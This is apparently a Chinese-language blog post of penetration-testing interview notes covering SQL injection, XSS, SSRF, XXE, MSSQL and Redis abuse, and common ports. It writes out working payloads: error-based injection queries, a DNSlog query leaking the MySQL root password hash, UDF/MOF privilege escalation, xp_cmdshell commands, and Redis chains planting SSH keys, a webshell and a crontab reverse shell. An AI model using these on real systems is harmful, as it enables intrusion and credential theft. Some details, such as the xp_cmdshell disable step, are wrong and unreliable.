这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。
1. sql注入
1. 原理
攻击者通过构造一些恶意的SQL语句,让后台的数据库去解析,从而达到入侵目标网络,获取敏感信息
2. sql注入分类
- 主要分为以下两类:
- 数字型
- 字符型
- 细分的话可以分为:
- 联合查询注入
- 多语句查询注入
- 报错注入
- 布尔型注入
- 基于时间延迟注入
- 宽字节注入
- 等等
3. 利用方式
- 主要分为以下三类:
- 查询数据
- 读写文件
- 执行命令
4. 报错注入可以利用的函数
- 利用floor()函数
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);
- 利用updatexml()函数
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
- 利用extractvalue()函数
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));
ps:如果concat被过滤,则可能使用make_set函数来实现
mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));
- 利用join()函数
mysql> select * from(select * from users a join users b)c;
- 利用几何函数
例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
and geometrycollection((select * from(select * from(select user())a)b));
- 利用exp()函数
select exp(~(select*from(select database())x));
5. 报错注入函数有哪些限制要求
- floor函数()
需要同时满足floor(rand(0)*2),count(*),group by这三个函数- updatexml()和extractvalue()函数
mysql5.1.5,最多爆出32位的 - exp()函数
在MySQL版本大于等于5.5.5的的时候才能用户
- updatexml()和extractvalue()函数
6. sql注入读写文件
- load_file()
- 必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/ and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/ 高版本的MYSQL添加了一个新的特性secure_file_priv
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 欲读取文件必须小于max_allowed_packet
- into outfile()和into dumpfile()
into outfile导出每行记录,会在每行末尾加新行,会转义换行符,二进制文件会被破坏;而dumpfile()导出一个完整能执行的二进制文件
7. sql防御
- 参数过滤
- 预编译处理
- ODBC
- PDO
8. 解释下sql预编译处理
- 执行预编译语句
- 设置变量
- 执行语句
先执行了sql语句,再把参数传入,即使参数有sql命令也不会被执行
9. sql过滤绕过
- 过滤空格
- 用双空格代替
- 用注释符号/**/代替
- 用Tab代替
- 用%a0代替
- 用括号代替
- 过滤等号
- 用like代替
- 用in代替
- 用<或者>代替
- 过滤引号
- 引号内容加上引号使用十六进制
- 过滤尖括号
- 用between函数
- 用greatest函数
- 用leatest函数
- 过滤逗号
- 用from for代替
- limit中用offset代替
- 用join代替
- 用like代替
- 过滤or,and
- and=&&
- or=||
- 过滤注释符号
- id=1'union select 1,2,3||'1
- id=1'union select 1,2,'3
- ;%00截断
- 过滤符号
- 采取编码
10. DNSlog注入限制
必须是Windows系统,使用的load_file函数
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 0,1),'.b182oj.ceye.io\\abc’));
11. MySQL提权
-
udf提权
- udf概念
UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码。 - 适用场合
- 目标主机系统是Windows。
- 拥有该主机mysql中的某个用户账号,该账号需要有对mysql的insert和delete权限。
- 注意事项
- mysql版本大于等于5.1 udf.dll需要导入到plugin_dir目录
- mysql版本小与5.1 udf.dll需要导入到C:\windows\目录
- 使用sql语句创建功能函数
create function shell returns string soname 'udf.dll'
- udf概念
-
mof提权
- mof概念
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof) - 步骤
- 将mof上传至任意可读可写目录下,假如传到D:\wamp\下命名为:test.mof。也就是:D:\wamp\test.mof
- 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
- 替换的sql语句:select load_file('D:\wamp\test.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
- mof概念
2. XSS攻击
1. XSS分类
- 反射型XSS
- 存储型XSS
- DOM型XSS
2. 它们的差别
- 反射型XSS和存储型XSS都是服务端代码漏洞
- 存储型XSS会在服务端存储输入的内容
- DOM型XSS是前端代码漏洞
3. XSS危害
- 偷取用户Cookie
- 弹出广告
- 网络钓鱼
4. XSS过滤
- 大小写混写
- 多重嵌套
- 宽字节绕过
5. XSS一般会用到哪些标签
1. <javascript>
2. <iframe src=http://xxxx.xx>
3. <img src=javascript:alert('xss')>
4. <body onload=alert('xss')>
5. <body background=javascript:alert('xss')>
6. <input type="image" src="javascript:alert('xss')">
7. ...
6. XSS有效的绕过手段
- href属性中的伪协议
<a href=javascript:alert('/a/')>adas</a>
- 利用HTML5新增标签
<math>标签
<embed>标签
- 利用DataUrl协议,引用外域的资源
7. 有哪些XSS环境
- XSS输出在HTML中的情况
- XSS输出在HTML属性中的情况
- XSS输出在script标签中的情况
- XSS在input value中的情况
- XSS输出在textarea中的情况
- XSS通过innerHTML输出的情况
- XSS通过eval执行的情况
- XSS Flash
- ...
8. 防护
- 过滤+实体化编码
常用htmlspecialchars()函数进行编码 - 设置httponly
3. 请求伪造漏洞与防护
1. CSRF的防护方案
- 添加验证过程
- 添加验证码
- 验证referer
- 利用token
2. SSRF可实现的攻击效果
- 对内网web应用特征进行发现
- 对服务器所在内网进行各类信息探测
- 利用file协议读取本地文件
- 针对特定目标进行攻击时隐藏攻击发起地址
3. SSRF常见绕过技巧
- 利用@符号
- 利用localhost
- 利用短地址
- 利用特殊域名
如 10.0.0.1.Xip.io = 10.0.0.1
- 利用DNS解析
- 利用Enclosed alphanumerics
- 利用。
- 利用进制转换
127.0.0.1 = 2130706433D = 7F000001
- 其他协议
- dict://
dict://<user-auth>@<host>:<port>/d:<word>
- SFTP://
ssrf.php?url=sftp://example.com:11111/
- TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
- LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
- Gopher://
- file://
4. 渗透工具
1. sqlmap
- --os-shell解析
用into outfile函数写一个上传页面,执行条件有三个:- 网站必须是root权限
- 攻击者需要做的网站的绝对路径
- GPC为off,php主动转义的功能关闭
2. brupsuite
- Intruder模块--暴力破解
- 模块组成
- Target 用于配置目标服务器进行攻击的详细信息
- Positions 设置Payloads的插入点以及攻击类型(攻击模式)
- Payloads 设置payload,配置字典
- Opetions
- 攻击模式
- sniper
对变量依次进行爆破,多个标记依次进行 - battering ram
对变量同时进行破解,多个标记同时进行 - pitchfork
每一个变量标记对应一个字典,取每个字典的对应项 - cluster bomb
每个变量对应一个字典,并且进行交集破解,尝试各种组合,适用于用户名+密码破解
- sniper
5. 中间件
1. MSSQL利用
- MSSQL差异备份
- 完整备份一次:
backup database 库名 to disk = 'c:\aa.bak';--
- 创建:
create table [dbo].[dtest] ([cmd] [image]);-- insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
- 进行差异备份:
backup database test to disk='c:\aa.bak' WITH DIFFERENTIAL,FORMAT;--
- MSSQL-xp_cmdshell利用
- open:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- exec:
exec master..xp_cmdshell 'whoami'
- close:
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- MSSQL job
2. redis综合利用
- 未授权写入SSH公钥
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
- 在本地生产公私钥文件
$ssh-keygen –t rsa
- 然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
- 再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
- 未授权写入WebShell
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>”
save
- 未授权写入Crontab计划任务
# redis-cli -h 192.168.1.20
192.168.1.20:6379>CONFIG SET dir /var/spool/cron
OK
192.168.1.20:6379>CONFIG SET dbfilename root
OK
192.168.1.20:6379>set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.160/9999 0>&1\n\n"
OK
192.168.1.20:6379>save
OK
192.168.1.20:6379>exit
6. 常用端口
端口 | 服务 | 说明 |
---|---|---|
21 | FTP | 主要看是否支持匿名,也可跑弱口令 |
22 | SSH | 弱口令爆破 |
23 | Telnet | 弱口令爆破 |
80-90 | Web | 常见Web漏洞以及一些为管理后台 |
135 | RPC | 通过远程调用执行代码 |
137 | NetBIOS | 获取目标计算机的相关信息 |
161 | Snmp | public弱口令 |
389 | Idap | 是否为匿名访问 |
443 | Openssl | 心脏出血以及一些Web漏洞测试 |
445 | Smb | 跑弱口令,检测是否有ms_08067等溢出 |
873 | Rsync | 是否为匿名访问,也可以跑弱口令 |
1025 | Listen port | 获取Windows网络的服务器信息与用户信息 |
1099 | Java rmi | 远程命令执行漏洞 |
1433 | Mssql | 弱口令爆破 |
1521 | Oracle | 弱口令爆破 |
2082/2083 | Cpanel主机管理系统登录 | 弱口令爆破 |
2222 | DA虚拟主机管理系统登录 | 默认密码zebra |
2601/2604 | zebra路由器 | 说明 |
3128 | Squid代理默认端口 | 如果没设置口令很可能 就直接漫游内网 |
3306 | Mysql | 弱口令爆破 |
3312/3311 | Kangle主机管理系统登陆 | 说明 |
3389 | RDP | 弱口令爆破,SHIFT后门,放大镜,输入法漏洞 |
4440 | Rundeck | Web |
4848 | GlassFish | Web中间件 弱口令admin/adminadmin |
5432 | Postgres | 弱口令爆破 |
5560/7778 | iSqlPlus | |
5900/5901/5902 | Vnc | 弱口令爆破 |
6379 | Redis | 一般无验证,直接访问 |
7001/7002 | Weblogic | 弱口令爆破 |
7778 | Kloxo主机控制面板登录 | |
8080 | Tomcat/Jboss | 弱口令爆破,jboss后台可能不验证 |
8649 | Ganglia | |
8080-8090 | 常见WEB端口 | |
8888 | Amh/LuManager 主机管理系统默认端口 | 说明 |
9000 | Fcgi | fcgi php命令执行漏洞 |
9200 | Elasticsearch | 代码执行 |
9043 | Websphere | 弱口令爆破 |
10000 | Virtualmin/Webmin 服务器虚拟主机管理系统 | |
11211 | Memcache | 内存泄露 |
27017/28017 | Mongodb | 未授权访问 |
50060/50030 | Hadoop | WEB |
7. XXE
1. XXE介绍
XXE全称XML外部实体注入(XML External Entity)形成的原因大都是由于允许引用外部实体。
2. XXE危害
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
- ...
3. 调用
- 通过&来调用实体值
- 外部调用在实体后面加SYSTEM
- 如果实体前加了%,那么调用实体时也需要使用%
8. 内网基础
1. 端口转发及代理类
- pipe:windows下面的端口转发软件,比较老牌的工具,使用场景有限。
- sockscap:老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。
- proxifier:跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器
- Rsscoks:linux平台下的端口转发和代理工具,配合proxychains好用到不行。
- Proxychains:linux平台下老牌的socks代理工具,一般的系统都会自带,谁用谁知道。
- ssh proxy:通过ssh做端口代理和转发,一般linux系统都自带。
- netcat:socat,hping,在很多情况下可以做端口转发和数据代理转发。
- metasploit:metasploit的后渗透模块中有不少代理模块和端口转发模块。
2. 正向代理和反向代理
正向代理
就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。反向代理
就是client连上server,然后把client能访问的机器地址和端口(也包括client自己)镜像到server的端口上。用ssh做socks代理
ssh -D [本地IP或省略]:[本地端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)]区别
- 位置不同
正向代理,架设在客户机和目标主机之间;
反向代理,架设在服务器端; - 代理对象不同
正向代理,代理客户端,服务端不知道实际发起请求的客户端;
反向代理,代理服务端,客户端不知道实际提供服务的服务端;